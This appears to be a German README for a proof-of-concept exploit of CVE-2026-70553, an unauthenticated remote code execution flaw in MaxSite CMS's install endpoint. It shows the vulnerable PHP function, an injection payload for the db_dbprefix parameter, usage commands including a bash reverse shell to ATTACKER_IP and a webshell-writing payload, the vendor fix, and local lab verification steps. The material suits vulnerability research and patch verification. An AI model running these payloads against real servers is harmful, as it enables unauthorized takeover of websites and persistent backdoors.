
Proof-of-Concept-Exploit für CVE-2026-70553, der eine nicht authentifizierte Remote Code Execution (RCE) in MaxSite CMS über persistente PHP-Injection in database.php über den Install-Endpunkt ermöglicht.
Proof-of-Concept für CVE-2026-70553: Unauthentisierte Remote Code Execution in MaxSite CMS durch persistente PHP-Code-Injektion in database.php über den Install-Endpunkt.
Dieser PoC dient ausschließlich Lehr- und autorisierten Sicherheitsforschungszwecken. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch diesen Code verursacht werden. Testen Sie ausschließlich Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.
MaxSite CMS-Versionen 105.2 bis 109.5 enthalten eine kritische Schwachstelle für unauthentisierte Remote-Code-Execution im Install-Endpunkt. Der Parameter db_dbprefix wird direkt ohne Bereinigung in PHP-Code eingefügt, sodass Angreifer beliebige PHP-Anweisungen in application/config/database.php injizieren können. Da diese Datei bei jeder Anfrage eingebunden wird, führt der injizierte Code zu persistenter RCE.
In install/installer/functions.php konstruiert die Funktion newDatabase() den Inhalt von database.php:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
Durch Injizieren eines Payloads wie:
db_dbprefix=mso_'; system('id'); //
Die generierte database.php sieht dann wie folgt aus:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
Dies bricht aus dem String-Literal aus und injiziert beliebigen PHP-Code.
Der Fix fügte eine Prüfung hinzu, um eine erneute Installation zu verhindern:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
KRITISCH: Diese Schwachstelle hat erhebliche praktische Einschränkungen in realen Szenarien.
/install/ nicht entfernt)newDatabase() wird nur aufgerufen, wenn keine Tabellen existiereninstall/installer/post.php über checkTableExists() geprüftnewDatabase() wird nie aufgerufen/install/ erreichbar ist, wird der Codepfad zur Injektion durch die Tabellenexistenzprüfung blockiertUm diese Schwachstelle in einer kontrollierten Umgebung zu verifizieren:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
Dieses Projekt wird unter der MIT-Lizenz veröffentlicht. Siehe LICENSE für Details.
Denken Sie daran: Praktizieren Sie stets verantwortungsvolle Offenlegung und holen Sie sich vor dem Testen die entsprechende Genehmigung ein.